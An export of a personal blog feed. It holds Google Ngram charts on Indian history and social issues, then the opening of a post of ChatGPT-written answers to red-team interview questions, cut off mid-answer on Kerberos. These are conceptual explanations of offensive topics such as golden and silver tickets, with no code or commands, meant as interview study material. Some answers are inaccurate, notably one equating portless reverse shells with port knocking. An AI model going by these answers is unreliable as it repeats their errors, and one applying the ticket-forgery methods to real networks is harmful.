&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=Big+Bang+Theory,Theory+of+Relativity,Quantum+Mechanics,String+Theory,satanism,+Flat+Earth&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;The impact of major social and economic transformations on literature -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=urbanization,+industrialization,+globalization,+digitalization&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Prominent Freedom Fighters and leaders of Modern India (Part 1)-&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=Bhagat+Singh,+Annie+Besant,+Chandra+Shekhar+Azad,+Dr.+Rajendra+Prasad,+Rani+Laxmi+Bai,+Dr.+B+R+Ambedkar&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Prominent Freedom Fighters and leaders of Modern India (Part 2)-&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=Mahatma+Gandhi,Dadabhai+Naoroji,Jawaharlal+Nehru,Vinayak+Damodar+Savarkar,Ashfaqulla+Khan,Sardar+Vallabhbhai+Patel&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Some Important tragic events related to Indian history (Part 1)-&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=Indian+Rebellion+of+1857,Bengal+Famine+of+1943,Jallianwala+Bagh+Massacre,Partition+of+India&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Some Important tragic events related to Indian history (Part 2)-&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=Assassination+of+Mahatma+Gandhi,Gujarat+Riots,+Mumbai+Terror+Attacks&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Important wars fought -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=World+War+I,World+War+II,Kargil+war,First+War+of+Indian+Independence&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Popularity of some of the prominent Universities in India (Part 1)-&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=University+of+Delhi,Jawaharlal+Nehru+University,Indian+Institute+of+Technology,Indian+Institute+of+Management&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Popularity of some of the prominent Universities in India (Part 2)-&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=Miranda+House+College,+St+Stephen&apos;s+college,+Lady+Shri+Ram+College,+Daulat+Ram+College,+Ramjas+College&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Contemporary India’s Opportunities -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=Digital+India,skill+development,renewable+energy,startup+ecosystem,make+in+India,smart+cities,financial+inclusion&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Contemporary India’s Challenges (Part 1)-&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=education+gap,+healthcare+disparity,+environmental+degradation&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Contemporary India’s Challenges (Part 2)-&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=overpopulation,+unemployment,+gender+inequality,+water+scarcity,+traffic+congestion,+waste+management,+digital+divide&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Social Issues in society (Globally Part 1)-&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=HIV%2FAIDS,political+instability,refugee+crisis,+world+order&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Social Issues in society (Globally Part 2)-&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=poverty+allevation,+illiteracy,+maternal+health,+child+mortality,+access+to+clean+water,+malaria,+food+insecurity&amp;amp;year_start=1500&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Social Issues in society (Globally Part 3)-&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=urban+slums,+child+malnutrition,+corruption,+air+pollution&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Social Issues in Indian society -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=caste+discrimination,female+foeticide,dowry+system,farmer+suicides,manual+scavenging,religious+intolerance&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Social Issues in the Western society -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=income+inequality,homelessness,LGBTQ+rights,racial+inequality,gun+control,mental+health,police+brutality,immigration&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Problems related to old age -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=aging+population,+elder+care,+retirement,+dementia,+pensions,+ageism,+senior+living&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Violence against women (Part 1)-&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=acid+attacks,forced+marriage,honor+killings,child+marriage&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Violence against women (Part 2)-&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=domestic+violence,+gender+based+violence,+sexual+harassment,+femicide,+rape+culture,+acid+attacks,+human+traffickin&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Some key words on Child Exploitation -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=child+labor,+child+trafficking,+child+soldiers,+child+abuse,+child+exploitation,+child+marriage&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;</content><author><name>Siddhartha Shree Kaushik</name></author><category term="text analysis" /><category term="Google Ngram" /><summary type="html">Recently I came across a tool called Google Ngram. Google Ngram Viewer is a powerful tool that allows users to search and analyze the frequency of words or phrases in a vast corpus of books and other written materials. With Google Ngram, users can track the popularity of words over time and across different languages and countries. This tool is often used in linguistic and cultural studies to investigate the evolution of language, identify trends in cultural attitudes, and explore the impact of historical events on written expression. Often we can use it for analyzing trends and frequency for certain keywords for sentiment analysis, text classification etc… which could potentially be just anything relevant to our studies, like for instance it could be famous figures throughout the history or any course of Important events, certain events themselves, words, phrases, concepts, or a bunch of relatively &amp;amp; commonly used words together. Google Ngram button Try Google Ngram Themes and Keywords for Google Ngram There is no specific choice of theme since I am not doing any full fledged research paper, but rather playing with the tool itself, so whatever came to my mind while brainstorming has been almost tried here. Hope you enjoy going through it! Jesus Christ, Satan, cuss words, Internet slangs and others - Some famous Historical figures, rulers - Top most visited places in India - The usage of key terms from the different waves of feminism, Some keywords around positivity and negativity - Democracy, Corruption and Alternatives - Major revolutions that shaped the world - The rise and impact of social movements advocating for equality and justice - The key terms associated with the Cold War era and the tensions between the United States and the Soviet Union - The historical trends related to colonialism and the efforts to establish independent nations - The historical context of racial segregation and the struggle for racial equality in various regions - The prevalence of different political ideologies over time - The rise of political discussions and actions around climate change and environmental issues - The terms related to controversial political policies and global issues - The rise of different technologies - The prominence of groundbreaking scientific theories over time - The impact of major social and economic transformations on literature - Prominent Freedom Fighters and leaders of Modern India (Part 1)- Prominent Freedom Fighters and leaders of Modern India (Part 2)- Some Important tragic events related to Indian history (Part 1)- Some Important tragic events related to Indian history (Part 2)- Important wars fought - Popularity of some of the prominent Universities in India (Part 1)- Popularity of some of the prominent Universities in India (Part 2)- Contemporary India’s Opportunities - Contemporary India’s Challenges (Part 1)- Contemporary India’s Challenges (Part 2)- Social Issues in society (Globally Part 1)- Social Issues in society (Globally Part 2)- Social Issues in society (Globally Part 3)- Social Issues in Indian society - Social Issues in the Western society - Problems related to old age - Violence against women (Part 1)- Violence against women (Part 2)- Some key words on Child Exploitation -</summary></entry><entry><title type="html">ChatGPT answers Cybersecurity Interview questions</title><link href="http://localhost:8001/chatgpt-answers-cybersecurity-interview-questions" rel="alternate" type="text/html" title="ChatGPT answers Cybersecurity Interview questions" /><published>2023-03-30T00:00:00+00:00</published><updated>2023-03-30T00:00:00+00:00</updated><id>http://localhost:8001/ChatGPT-answers-Cybersecurity-Interview-questions</id><content type="html" xml:base="http://localhost:8001/chatgpt-answers-cybersecurity-interview-questions">&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: This blog post has it’s own pros and cons, which I will brief upon a bit. Title is pretty clear - that I have used ChatGPT (Default GPT-3.5 engine) to fetch the answers listed just below each of the Cybersecurity Interview questions here.&lt;/p&gt;

&lt;p&gt;Keep in mind that these questions are AI answered, so don’t expect outmost Human level sincerity while reading the answers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pros&lt;/strong&gt;: Answers are roughly short, crisp and concise. I am assuming if you are learning a whole paragraph answered by AI, mostly you’ll remember some good portion of it but not the whole, and the remaining parts could be reaclled actively so that it stays in your memory. Advantage is that you’ll quickly realize a repeating theme by the end of each answer which AI thinks is a “value-added” to the conclusion of answer, that’s alright (It helps in cementing the concepts and values in our subconscious mind). This blog is intended for people who struggle with the English language, for those who wish to save their time and quickly skim over important Interview questions, for those who know “hands-on” extensively but never gave thought to articulate the concepts which brings them a big disadvantage in the Interview, it gives false impression that you don’t know your stuff, but you actually do, you just find it hard to articulate what you’re thinking and present it in a decent manner. This blog is dedicated towards such Individual, if you’re relating to this situation where you go absolutely blank in an Interview when asked questions on your area of said expertise, this is for you! These are to help you take “baby-steps” that how you should approach to answer the questions in the first place.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;: A big disadvantage is this - these ain’t coming from you, ain’t your notes or understanding of the subject. Next thing is that these answeres lack the Human level sincerity or “touch” to the answers, these answers don’t carry diagrams, additional concepts to aid you in the overall understanding of questions. If you wanna damage your inner Integrity then memorize these answers line-by-line and without doing any further research or hands-on to understand it better, and this will result in severe false impression that you actually know the concepts, which in reality you don’t. Beware - These questions are at this point pretty straightforward - Imagine you are asked situation and experience based questions, you’ll shoot yourself right there. So please read the &lt;strong&gt;pros&lt;/strong&gt; aspect and realize for whom I am dedicating this blog to.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My Stance&lt;/strong&gt; : You read and understand the concepts, do hands-on practice, make notes out of it and keep excelling at it. Make mental farmeworks out of the mindmaps, diagrams, commands used in specific scenarios, host and target architecture etc… and most importantly keep actively recalling these notes which will eventually help you in the interview. My one single reason why I would use a resource like this is - saving myself some time in doing the analysis i.e., going out on search engine and doing research for the time being, just to skim over these topics quickly and keeping them in my sight, so I don’t miss them in the Interview. Apart from this reason I don’t have any particular purpose to adhere to a resource like this. Be wise and make good choices. Also, realize that each of these questions can demand a separate blog for themselves, I see some fallacy in the answers below, but I have kept them unaltered, just as a record for AI generated content, I have a firm faith that GPT4 can do much better, but since it has a cap limit of 25 per 3 hours I decided to move ahead with GPT-3.5 instead.&lt;/p&gt;

&lt;p&gt;I had received the Red Team Interview Questions from 0xP Sec’s Discord server, which you can positively join using &lt;a href=&quot;https://discord.gg/BShtevSrNd&quot;&gt;this Invite link&lt;/a&gt;. With that being said, goodluck with your Interviews and studies.&lt;/p&gt;

&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot; /&gt;
    &lt;title&gt;Buttons&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;test.css&quot; /&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div class=&quot;button-container&quot;&gt;
    &lt;button class=&quot;myButton&quot; onclick=&quot;window.open(&apos;https://cdn.discordapp.com/attachments/938986881364930591/1088475401220800643/Red_Team_Interview_Questions_V2.pdf&apos;, &apos;_blank&apos;)&quot;&gt;Download Red Team Interview Questions&lt;/button&gt;
&lt;/div&gt;
&lt;script&gt;
  function redirectTo(url) {
    window.location.href = url;
}
&lt;/script&gt;
&lt;/body&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Offensive Security Interview Questions &lt;/h1&gt;
&lt;hr /&gt;

&lt;h2 id=&quot;what-is-the-difference-between-red-teaming-and-penetration-testing&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt;What is the difference between Red Teaming and Penetration Testing?&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The difference between Red Teaming and Penetration Testing is that while both are methods of testing the security of a system or network, they have different objectives and approaches.&lt;/p&gt;

&lt;p&gt;Penetration testing involves attempting to exploit vulnerabilities in a system or network in order to identify and report them to the organization’s security team, who can then address those vulnerabilities to improve their security posture. This type of testing is typically conducted by a third-party or independent security professional.&lt;/p&gt;

&lt;p&gt;On the other hand, Red Teaming involves a more comprehensive approach to testing the security of an organization. This may involve multiple attack vectors, including social engineering, physical security breaches, and cyber attacks. The goal of Red Teaming is to simulate a real-world attack scenario and test the organization’s ability to detect and respond to such an attack. This type of testing is typically conducted by a specialized team within the organization, and may be conducted over a longer period of time than a single Penetration Test.&lt;/p&gt;

&lt;p&gt;In summary, while both Penetration Testing and Red Teaming are methods of testing the security of a system or network, Penetration Testing is a focused and targeted approach to identifying and reporting vulnerabilities, while Red Teaming involves a more comprehensive and realistic approach to testing an organization’s overall security posture.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;explain-what-happens-when-you-connect-to-googlecom-what-happens-in-the-background&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt;Explain what happens when you connect to google.com, what happens in the background&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;When you connect to google.com, several things happen in the background. Here’s a simplified overview of the process:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Domain Name System (DNS) Lookup: Your web browser sends a request to a DNS server to resolve the domain name “google.com” into an IP address. The DNS server responds with the IP address of one of Google’s servers.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Establishing a Connection: Your web browser sends a request to the Google server, asking to establish a connection. The Google server responds with a “syn-ack” message, acknowledging the request and agreeing to establish a connection.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Sending a Request: Your web browser sends an HTTP request to the Google server, asking for a specific webpage or resource.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Processing the Request: The Google server processes the request, generating a response that includes the requested webpage or resource, along with any other information such as cookies, cache directives, or security headers.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Sending the Response: The Google server sends the HTTP response back to your web browser, which then renders the webpage or resource for you to view.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Throughout this process, various security measures may be employed to protect the connection between your browser and the Google server. For example, the connection may be encrypted using SSL/TLS, and the server may use security headers such as Content Security Policy (CSP) or X-Frame-Options to protect against common web-based attacks such as cross-site scripting (XSS) or clickjacking. Additionally, Google may employ various anti-malware and anti-phishing measures to prevent malicious activity on their website.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;what-is-your-favorite-offensive-security-tool-how-does-it-work&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt;What is your favorite Offensive Security tool? How does it work?&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;As an AI language model, I don’t have personal preferences or favorites, but I can certainly provide information on one of the most popular and powerful offensive security tools available: Metasploit.&lt;/p&gt;

&lt;p&gt;Metasploit is a penetration testing framework that allows security professionals to simulate attacks against computer systems in order to identify vulnerabilities and assess their security posture. It provides a wide range of exploit modules and payloads that can be used to test different types of vulnerabilities on various operating systems, including Windows, Linux, and macOS.&lt;/p&gt;

&lt;p&gt;One of the key features of Metasploit is its modular architecture, which allows users to easily customize and extend the framework to suit their needs. Users can create their own modules or modify existing ones, which makes it an incredibly versatile and flexible tool.&lt;/p&gt;

&lt;p&gt;Metasploit works by following a standard exploitation process that involves the following steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Reconnaissance: This phase involves gathering information about the target system, such as its IP address, open ports, and installed services.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Scanning: Once reconnaissance is complete, the next step is to scan the target system for vulnerabilities. Metasploit provides a variety of scanning tools that can help identify vulnerabilities on the target system.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploitation: After vulnerabilities have been identified, the next step is to use Metasploit’s exploit modules to attempt to exploit those vulnerabilities and gain access to the target system.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Post-Exploitation: Once access to the target system has been achieved, Metasploit provides a range of post-exploitation modules that can be used to maintain access, escalate privileges, and gather additional information.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Overall, Metasploit is a powerful and versatile tool that can be used to simulate a wide range of attacks against computer systems. Its modular architecture and extensive library of modules make it a go-to tool for many security professionals.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;explain-the-mitre-attck-framework&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt;Explain the MITRE ATT&amp;amp;CK framework&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The MITRE ATT&amp;amp;CK framework is a comprehensive knowledge base of cyber adversary tactics, techniques, and procedures (TTPs). The framework is maintained by the MITRE Corporation and is designed to help organizations understand and classify cyber threats and to enhance their defenses against cyber attacks.&lt;/p&gt;

&lt;p&gt;ATT&amp;amp;CK stands for Adversarial Tactics, Techniques, and Common Knowledge. The framework provides a standardized vocabulary and a taxonomy of cyber attacks, with the goal of helping organizations to better understand the methods used by cyber attackers and to develop effective defensive strategies.&lt;/p&gt;

&lt;p&gt;The MITRE ATT&amp;amp;CK framework is organized into several layers, with each layer providing increasingly detailed information on adversary behavior. At the top level, the framework is divided into tactics, such as initial access, execution, persistence, and privilege escalation. These tactics are further divided into techniques, which are the specific methods or actions used by attackers to achieve their goals.&lt;/p&gt;

&lt;p&gt;For each technique, the MITRE ATT&amp;amp;CK framework provides a detailed description of the behavior, as well as information on how the technique can be detected and mitigated. The framework also includes information on the software tools and procedures that attackers commonly use, as well as guidance on how organizations can detect and respond to specific types of attacks.&lt;/p&gt;

&lt;p&gt;The MITRE ATT&amp;amp;CK framework is widely used by security professionals to better understand and classify cyber threats. It is also used by many security products and services to help organizations detect and prevent cyber attacks. By providing a common language and taxonomy for describing cyber threats, the framework helps to improve communication and collaboration among security professionals, and ultimately helps to enhance the overall security posture of organizations.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;what-kind-of-reverse-shell-has-no-ports&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt;What kind of reverse shell has no ports?&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The kind of reverse shell that has no ports is called a “portless” or “port-free” reverse shell. This type of reverse shell uses a technique called “port knocking” to establish a connection between the attacker’s machine and the target machine without opening a traditional network port.&lt;/p&gt;

&lt;p&gt;In a portless reverse shell, the attacker sends a series of specially crafted packets to the target machine, which acts as a “knock” on a specific sequence of closed ports. The target machine, upon receiving the correct sequence of knocks, will then establish a connection with the attacker’s machine, allowing the attacker to execute commands on the target machine and potentially gain remote access.&lt;/p&gt;

&lt;p&gt;Portless reverse shells are often used in scenarios where traditional network ports are blocked or firewalled, making it difficult to establish a reverse shell using a traditional approach. However, it is important to note that port knocking is not a foolproof method and can be detected and blocked by advanced security measures. Additionally, it is important to use portless reverse shells ethically and with explicit permission, as they can be used for malicious purposes.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;difference-between-golden-and-silver-tickets&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt;Difference between golden and silver tickets?&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Golden and Silver tickets are two types of Kerberos authentication attack techniques used by attackers to gain unauthorized access to Windows systems. While both types of tickets are used to impersonate users and gain access to resources, they differ in their purpose and the way they are obtained.&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt; Golden Ticket &lt;/h3&gt;

&lt;p&gt;A Golden Ticket is a forged Kerberos Ticket-Granting Ticket (TGT) that is used to authenticate and impersonate any user in a domain. A Golden Ticket can be created by an attacker who has gained access to the domain controller’s KRBTGT account password hash, which is typically stored in memory on a domain controller. With this password hash, an attacker can create a TGT for any user in the domain, granting them unrestricted access to the network.&lt;/p&gt;

&lt;p&gt;Once a Golden Ticket is created, it can be used to access any resource on the network that the targeted user has permissions for. This makes it a powerful tool for attackers who are able to obtain the necessary credentials to create a Golden Ticket.&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt; Silver Ticket &lt;/h3&gt;

&lt;p&gt;A Silver Ticket is a forged Kerberos service ticket that is used to authenticate and impersonate a specific service or computer account. Unlike a Golden Ticket, which can be used to impersonate any user in the domain, a Silver Ticket is limited to a specific service or computer account.&lt;/p&gt;

&lt;p&gt;A Silver Ticket is created by an attacker who has obtained the service account’s password hash or computer account password hash, which can be used to generate a forged service ticket. With a Silver Ticket, an attacker can access the specific service or computer account that the ticket is associated with, allowing them to perform actions and access resources associated with that account.&lt;/p&gt;

&lt;p&gt;In summary, while both Golden and Silver Tickets are used to impersonate users and gain unauthorized access to resources, Golden Tickets are more powerful as they can be used to impersonate any user in the domain, while Silver Tickets are limited to specific service or computer accounts.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-explain-kerberos--kerberoasting-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; Explain Kerberos &amp;amp; Kerberoasting &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Kerberos is a network authentication protocol that is commonly used in Windows environments to provide secure authentication between client and server systems. It relies on a trusted third-party authentication server called a Key Distribution Center (KDC) to issue and manage authentication tickets.&lt;/p&gt;

&lt;p&gt;When a user attempts to authenticate with a Kerberos-enabled system, they provide their credentials to the KDC, which then issues a ticket granting ticket (TGT) that can be used to authenticate the user to other Kerberos-enabled services on the network. This process is known as the Kerberos Authentication Exchange.&lt;/p&gt;

